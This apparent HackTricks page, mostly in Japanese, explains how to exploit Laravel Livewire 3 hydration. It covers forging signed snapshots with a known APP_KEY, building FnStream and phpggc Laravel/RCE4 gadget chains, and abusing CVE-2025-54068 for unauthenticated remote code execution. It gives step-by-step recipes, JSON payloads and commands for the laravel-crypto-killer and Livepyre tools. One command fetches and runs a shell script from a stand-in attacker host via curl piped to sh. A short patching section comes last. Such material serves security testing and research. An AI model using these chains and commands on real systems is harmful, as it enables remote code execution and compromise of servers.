Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Livewire ステートマシンの要約

Livewire 3 コンポーネントは、datamemo、およびチェックサムを含む snapshots を介して状態を交換します。/livewire/update への各 POST はサーバー側で JSON snapshot を復元し、キューに入った calls/updates を実行します。

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

APP_KEY$hashKey を導出するのに使われる)を保持している者は、HMAC を再計算することで任意のスナップショットを偽造できる。

複雑なプロパティは、Livewire\Drawer\BaseUtils::isSyntheticTuple() によって検出される synthetic tuples としてエンコードされる;各タプルは [value, {"s":"<key>", ...meta}] である。ハイドレーションのコアは、HandleComponents::$propertySynthesizers で選択された synth に各タプルを単純に委譲し、子要素に対して再帰処理を行う:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

この再帰的な設計により、攻撃者がタプルのメタデータか再帰処理中の任意のネストされたタプルを制御すると、Livewireは汎用のオブジェクト生成エンジンになります。

Synthesizers that grant gadget primitives

SynthesizerAttacker-controlled behaviour
CollectionSynth (clctn)各子要素を再ハイドレートした後に new $meta['class']($value) を生成します。配列コンストラクタを持つ任意のクラスを生成でき、各アイテム自体が合成タプルであっても構いません。
FormObjectSynth (form)new $meta['class']($component, $path) を呼び出し、続いて攻撃者が制御する子要素から $hydrateChild 経由で全ての public プロパティを代入します。緩く型付けされた2つのパラメータ(またはデフォルト引数)を受け取るコンストラクタがあれば、任意の public プロパティに到達できます。
ModelSynth (mdl)meta に key が存在しない場合、return new $class; を実行し、攻撃者が制御する任意のクラスの引数なしインスタンス化を可能にします。

synth はネストされた各要素で $hydrateChild を呼び出すため、タプルを再帰的に積み重ねることで任意のガジェットグラフを構築できます。

Forging snapshots when APP_KEY is known

  1. 正規の /livewire/update リクエストをキャプチャし、components[0].snapshot をデコードします。
  2. ガジェットクラスを指すネストされたタプルを注入し、checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY) を再計算します。
  3. スナップショットを再エンコードし、_token/memo はそのままにしてリクエストをリプレイします。

最小限の実行証明は Guzzle の FnStreamFlysystem の ShardedPrefixPublicUrlGenerator を使います。あるタプルがコンストラクタデータ { "__toString": "phpinfo" }FnStream を生成し、次のタプルが [FnStreamInstance]$prefixes として ShardedPrefixPublicUrlGenerator を生成します。Flysystem が各 prefix を string にキャストすると、PHP は攻撃者が提供した __toString callable を呼び出し、引数なしで任意の関数を実行します。

From function calls to full RCE

Livewire のインスタンス化プリミティブを活用して、Synacktiv は phpggc の Laravel/RCE4 チェーンを適合させ、ハイドレーションが public な Queueable 状態を持つオブジェクトを起動してデシリアライズをトリガするようにしました:

  1. Queueable traitIlluminate\Bus\Queueable を使用するオブジェクトは public な $chained を公開し、dispatchNextJobInChain() 内で unserialize(array_shift($this->chained)) を実行します。
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) は CollectionSynth / FormObjectSynth を通じてインスタンス化され、public $chained が埋められます。
  3. phpggc Laravel/RCE4Adapted$chained[0] に格納されたシリアライズ済みバイナリは PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed を構築します。Signed::__invoke() は最終的に call_user_func_array($closure, $args) を呼び出し、system($cmd) を可能にします。
  4. Stealth termination[new Laravel\Prompts\Terminal(), 'exit'] のような第二の FnStream callable を渡すことで、例外を上げずに exit() でリクエストを終了させ、HTTP レスポンスをクリーンに保てます。

Automating snapshot forgery

synacktiv/laravel-crypto-killer は現在、これらを全て繋ぎ合わせる livewire モードを提供しています:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

ツールはキャプチャした snapshot を解析し、gadget tuples を注入し、checksum を再計算し、送信準備が整った /livewire/update ペイロードを出力します。

CVE-2025-54068 – APP_KEY なしでの RCE

ベンダーのアドバイザリによると、本問題は Livewire v3 (>= 3.0.0-beta.1 and < 3.6.3) に影響し、v3 固有の問題です。

updates はスナップショットの checksum が検証された にコンポーネント状態にマージされます。スナップショット内のプロパティが(または synthetic tuple になる)場合、Livewire は攻撃者制御の update 値を hydrate する際にその meta を再利用します:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Find a Livewire component with an untyped public property (e.g., public $count;).
  2. Send an update that sets that property to []. The next snapshot now stores it as [[], {"s": "arr"}].

A minimal type-juggling flow looks like this:

POST /livewire/update
...
"updates": {"count": []}

Then the next snapshot stores a tuple that keeps the arr synthesizer metadata:

"count": [[], {"s": "arr"}]
  1. Craft another updates payload where that property contains a deeply nested array embedding tuples such as [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  2. During recursion, hydrate() evaluates each nested child independently, so attacker-chosen synth keys/classes are honoured even though the outer tuple and checksum never changed.
  3. Reuse the same CollectionSynth/FormObjectSynth primitives to instantiate a Queueable gadget whose $chained[0] contains the phpggc payload. Livewire processes the forged updates, invokes dispatchNextJobInChain(), and reaches system(<cmd>) without knowing APP_KEY.

Key reasons this works:

  • updates are not covered by the snapshot checksum.
  • getMetaForPath() trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
  • Recursion plus weak typing lets each nested array be interpreted as a brand new tuple, so arbitrary synth keys and arbitrary classes eventually reach hydration.

Livepyre – end-to-end exploitation

Livepyre は、APP_KEY 不要の CVE と署名付きスナップショット経路の両方を自動化します:

  • <script src="/livewire/livewire.js?id=HASH"> を解析してデプロイされた Livewire のバージョンをフィンガープリントし、ハッシュを脆弱なリリースにマッピングします。
  • 無害な操作を再生してベースラインのスナップショットを収集し、components[].snapshot を抽出します。
  • updates のみのペイロード (CVE-2025-54068) または phpggc チェインを埋め込んだ改竄されたスナップショット(既知の APP_KEY)を生成します。
  • スナップショット内に object 型のパラメータが見つからない場合、Livepyre は強制可能なプロパティに到達するために候補パラメータをブルートフォースするフォールバックを行います。

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check は非破壊的なプローブを実行し、-F はバージョン判定をスキップし、-H-P はカスタムヘッダやプロキシを追加し、--function/--param は gadget chain で呼び出される php 関数をカスタマイズします。

防御上の考慮事項

  • ベンダーの告知によれば修正版 Livewire ビルド (>= 3.6.4) にアップグレードし、CVE-2025-54068 に対するベンダーパッチを適用してください。
  • Livewire コンポーネントでは弱い型付けの public プロパティを避けてください。明示的な scalar 型にすることでプロパティ値が arrays/tuples に強制されるのを防げます。
  • 必要な synthesizers のみを登録し、ユーザ制御の metadata ($meta['class']) を信頼しないものとして扱ってください。
  • プロパティの JSON 型が変更される更新(例: scalar -> array)は明示的に許可されていない限り拒否し、stale な tuples を再利用するのではなく synth metadata を再導出してください。
  • いかにコードベースがパッチ適用されていても、オフラインでの snapshot forging を可能にするため、情報開示後は速やかに APP_KEY をローテーションしてください。

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする